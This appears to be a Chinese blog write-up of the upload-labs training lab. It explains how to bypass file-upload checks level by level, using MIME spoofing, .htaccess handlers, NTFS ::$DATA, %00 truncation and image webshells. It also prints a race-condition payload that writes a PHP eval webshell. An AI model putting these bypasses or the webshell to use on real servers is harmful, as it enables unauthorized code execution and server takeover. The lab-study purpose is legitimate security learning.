upload通关手册

upload-labs通关

0x00 前言

这段时间一直在忙,没时间来更新文章,这里就写篇upload-labs的通关手册吧,现在包括网上也有很多upload通关手册,但是在这里还是想自己去写一篇,来做个自我总结。在做靶场当中也参考了网上的文章。

0x01 pass-01-10

第一关

来到第一关卡,选择,把burp开启抓包。点击上传会发现,直接就弹框不允许上传了。

那么基本可以判断这是个前端校验的。此时有三种办法,

(1)、审查元素删除过滤函数

(2)、直接禁用js

(3)、先上传jpg文件然后抓包重命名

这里就直接来禁用js文件绕过。

上传成功。

第二关

查看源代码

$_FILES["file"]["name"] - 上传文件的名称
$_FILES["file"]["type"] - 上传文件的类型
$_FILES["file"]["size"] - 上传文件的大小,以字节计
$_FILES["file"]["tmp_name"] - 存储在服务器的文件的临时副本的名称
$_FILES["file"]["error"] - 由文件上传导致的错误代码

这里获取了上传文件的类型,如果类型等于image/jpeg、image/png、image/gif就可以上传成功。

可以直接修改mime类型来绕过。

burp抓包,修改content-type的类型为image/gif

成功绕过。

第三关

file_exists() 函数检查文件或目录是否存在。

trim() :函数移除字符串两侧的空白字符或其他预定义字符。

deldot():移除末尾的点

strrchr() 函数查找字符在指定字符串中从后面开始的第一次出现的位置,如果成功,则返回从该位置到字符串结尾的所有字符,如果失败,则返回 false。与之相对应的是strstr()函数,它查找字符串中首次出现指定字符的位置

strtolower:转化为小写

这里定义了一个数组,黑名单的数组,并且去除了末尾的点和空格、::$data等字符,且匹配了后缀名。

这里还可以使用到一些过滤不全去绕过,上传php3或者是phtml一样能被当做php来识别,当然这个得看apache的解析设置。

抓包改名为php3,点击forword

上传成功,成功被识别。

第四关

由于后面的关卡和前面的代码大致一样就不一一解释了。

第四关卡把能禁用的都给禁用掉了,但是唯独没有禁用掉.htaccess 文件我们可以上传.htaccess文件,然后再去上传图片马。

.htacess 内容如下:

SetHandler application/x-httpd-php

成功绕过上传限制。

第五关

这里比上一关少了一个转换成小写,我们就可以利用到大小写去对他进行绕过。

windwos对大小写不敏感,无论大小写都能识别,而linux则相反。

上传成功,下一关

第六关

这一关和前面的都差不多,去除了点号和::$data 但是缺少去除空格的函数。

我们可以加个空格来绕过他的限制,在windows里面后缀的空格会自动过滤掉。

这里后缀后面加了个空格,成功绕过

第七关

这里没有去除后缀后面的点,我们可以利用到windows 后缀加点号自动过滤掉的这个特性来绕过限制。

成功绕过。

第八关

代码里面去除了点号空格,但是这关确漏掉了::$data,我们就可以利用到windwos文件流特性去绕过文件上传限制。利用的是NTFS文件系统的一个特性,NTFS存储数据流的一个属性,当我们这样去访问的时候,其实我们请求的,它就会被认为是phpinfo.php本身的数据

上传完成后,去除::$data 直接访问xx.php文件解析成功

第九关

第九关这个地方去除去除了大部分的东西,前面用到的点号和空格都被过滤了,但是这里还是有办法绕过去,我们可以多加几个空格和点 ,代码里面的只过滤一次。

添加完成后发包过去就可以看到上传成功。

访问,解析成功。

第十关

在第十关代码和前面的不大一样,我们来审计一下代码

这里定义了一个array数组,黑名单的数组,如果匹配到接收过来的后缀等于定义数组里面的内容就替换为空。

代码如下:

 $file_name = str_ireplace($deny_ext,"",$file_name);

str_ireplace 是个替换的函数

我们尝试直接上传个phpinfo 。

这里能直接上传成功,但是后缀被替换为空了,因为这些代码都是只过滤一次,我们可以使用到双写来绕过。

第十一关

这里的代码写的是白名单,只允许上传jpg等图片格式的文件,在我们前面用到的黑名单都不能使用了。

但是我们还可以利用到00截断来对他进行绕过。

在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束。

使用burp抓包后,发现他的目录是可控的,我们可以直接从目录那里对他进行截断

发送 访问

这里会访问失败,把php后面的东西去掉,再次访问。

第十二关

第十二关也是一样的白名单,先来抓个包看看

这里发现和前面不一样的地方,就是刚刚的路径是在url里面的,而这一个关卡的是在post包里面。

那么需要00截断需要解码,因为在url里面传参会自动解码而post里面不会。

发送

第十三关

这里的代码定义个函数打开我们上传的文件并且读取我们的前面2位数。

这时候我们改文件后缀是没用的,一样上传不了,可以直接加上gif89a或者是直接制作图片马。

copy 1.jpg/b+phpinfo.php/a 3.jpg

制作完成,直接上传,然后还需要配合文件包含来解析。

图片马上传成功,打开解析漏洞的页面包含这张图片。

成功执行。第十四关也是一样的可以上传成功,都是判断了图片的完整性

第十五关

这里使用的

exif_imagetype() 读取一个图像的第一个字节并检查其签名。

定义有以下常量,并代表了 exif_imagetype() 可能的返回值:

1	IMAGETYPE_GIF
2	IMAGETYPE_JPEG
3	IMAGETYPE_PNG 

上传图片马,配合文件包含漏洞,成功解析

这几关里面,唯一不同的就是验证图片的方式和函数不一样。

第十六关

这里的验证比前面的多了不是,获取了名字和mime类型,

然后进行校验,验证完成后才进行二次渲染

第十六关,使用了gd库对图片做了二次渲染。

那么我们先来上传一个普通的图片马看看。

上传完成后使用包含,报错了。

我们来下载这张图片然后对他进行查看。

用010editot打开发现我们后面加上的phpinfo();已经被刷掉了。

那么我们可以使用16进制对比工具来看 原图和渲染后的图,哪个地方没用被gd给处理过,从gd库没处理的地方插入paylaod。

显示蓝色的是未被gd库未被渲染的地方

关于二次渲染可以参考先知论坛大佬的文章,很详细。

https://xz.aliyun.com/t/2657

第十七关

move_uploaded_file() 函数将上传的文件移动到新位置。
若成功,则返回 true,否则返回 false。
rename() 函数重命名文件或目录。

这里先是把文件用move_uploaded_file()函数移动到了上传的目录下面,如果不是白名单,再使用unlink函数将文件删除。

那么我们可以上传写入木马的代码

<?php fputs(fopen("shell.php","w"),'<?php @eval($_POST["shell"]) ?>'); ?>

截取上传数据包,发送到intrude模块,持续发送,另外开一个持续访问上传的目录。

等到响应200 的时候木马就写入成功了。

然后浏览器访问shell.php

访问成功,这时候就可以拿一句话去连接了

这里的条件竞争条件是文件未被重命名。

0x02 结尾

这里就把大致的方法都总结了一遍,当然还确实了一些各种的解析漏洞和文件包含的东西,都会配合到文件上传漏洞来使用,在一些cms爆出后台getshell漏洞时候也可以getshell ,比如配置插马,备份数据库拿shelll 。

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐


每个HTTP请求和响应都会带有相应的头部信息。默认情况下,在发送XHR请求的同时,还会发送下列头部信息: Accept:浏览器能够处理的内容类型 Accept-Charset:浏览器能够显示的字符集
&quot;Markdown自动生成目录&quot; &quot;使用npm语法生成&quot; &quot;1、安装npm&quot; &quot;2、安装doctoc插件&quot; &quot;
当我们从客户端向服务器发送请求时&#160;服务器向我们返回状态码&#160;状态码就是告诉我们服务器响应的状态&#160;通过它,我们就可以知道当前请求是成功了还是出现了什么问题&#160;状态码是
原理 介绍 哈希表(Hash table,也叫散列表), 是根据关键码值(Key value)而直接进行访问的数据结构。也就是说,它通过把关键码值映射到表中一个位置来访问记录,以加快查找的速度。这个映
一 共享秘钥 1.1 概念 共享秘钥和我们生活中同一把锁的钥匙概念类似,对同一把锁来说,加锁时使用什么钥匙,解锁也必须使用同样的钥匙。 1.2 共享秘钥在HTTP传输中的缺点 以共享密钥方式加密时必须
正向代理的概念 正向代理,也就是传说中的代理,他的工作原理就像一个跳板,简单的说,我是一个用户,我访问不了某网站,但是我能访问一个代理服务器这个代理服务器呢,他能访问那个我不能访问的网站于是我先连上代
如果你是网站的开发者或维护者,就不得不重视盗链的问题了。如果你刚刚开发完一个没有防盗链的带有文件下载功能的网站,挂上internet,然后上传几个时下非常热门的软件或电影并在网站内公布下载地址,让MS
select,poll,epoll区别总结 select,poll,epoll都是I/O多路复用。I/O多路复用就是通过一种机制,可以监测多个描述符,一旦某个描述就绪(一般是读或者写),能够通知程序进
PS: https就是http和TCP之间有一层SSL层,这一层的实际作用是防止钓鱼和加密。防止钓鱼通过网站的证书,网站必须有CA证书,证书类似于一个解密的签名。另外是加密,加密需要一个密钥交换算法,
一、什么是http协议 HTTP是一个应用层协议,无状态的,端口号为80。主要的版本有1.0/1.1/2.0. HTTP/1.* 一次请求-响应,建立一个连接,用完关闭; HTTP/1.1 串行化单线
host文件的工作原理及应用 Hosts文件是一个用于存储计算机网络中节点信息的文件,它可以将主机名映射到相应的IP地址,实现DNS的功能,它可以由计算机的用户进行控制。 一、Hosts文件基本介绍
HTTP 2.0是在SPDY(An experimental protocol for a faster web, The Chromium Projects)基础上形成的下一代互联网通信协议。HTT
虚拟地址和物理地址 第一层理解 1、每个进程都有自己独立的4g内存空间,每个进程的内存空间都具有类似的结构。 2、一个新进程建立的时候,将会建立自己的内存空间,此进程的数据,代码等数据从磁盘拷贝到自己
0x00 前言 发现自己学习python已经有半个月了,也开发了自己的一些渗透的小脚本,但觉得还是不够,我个人觉得工具和脚本还有框架是个本质上的区别。脚本的话,不会考虑到其他的一些因素,例如报错和交互
0x00 前言 由于昨天520,今天又是521,我被朋友圈和qq空间给刷屏了,都在秀对象。一气之下决定把我上次写的nc拿出来使用类进行重构,多实例化几个对象,这下子我也有对象了。 0x01 一些小插曲
upload labs通关 0x00 前言 这段时间一直在忙,没时间来更新文章,这里就写篇upload labs的通关手册吧,现在包括网上也有很多upload通关手册,但是在这里还是想自己去写一篇,来
0x00 前言 介于这段时间比较忙,所以博客的更新也比较慢。本来想前几天就发这个mssql数据库的,但是因为mssql的结构比较复杂,利用方式也比较多,所以又去深入研究了一下mssql的数据库结构和各
0x00 了解数据库 数据库是“按照数据结构来组织、存储和管理数据的仓库”。是一个长期存储在计算机内的、有组织的、可共享的、统一管理的大量数据的集合。 数据库是以一定方式储存在一起、能与多个用户共享、
0x00 前言 现在access的站,比较少,有的话也是小型网站在用,因为access的性能比较差,多人访问都能卡死,所以很多网站都很少会采用access的数据库搭建。但是该学的我们还是得学。 0x0
记一次某企业实战 0x00 前言 近段时间来也没怎么更新过博客,在这里就来水篇文章吧。 前段时间一直在做项目,也来分享并且记录一下自己的一些成果,和一些小思路。 0x01 信息收集 渗透的第一步肯定是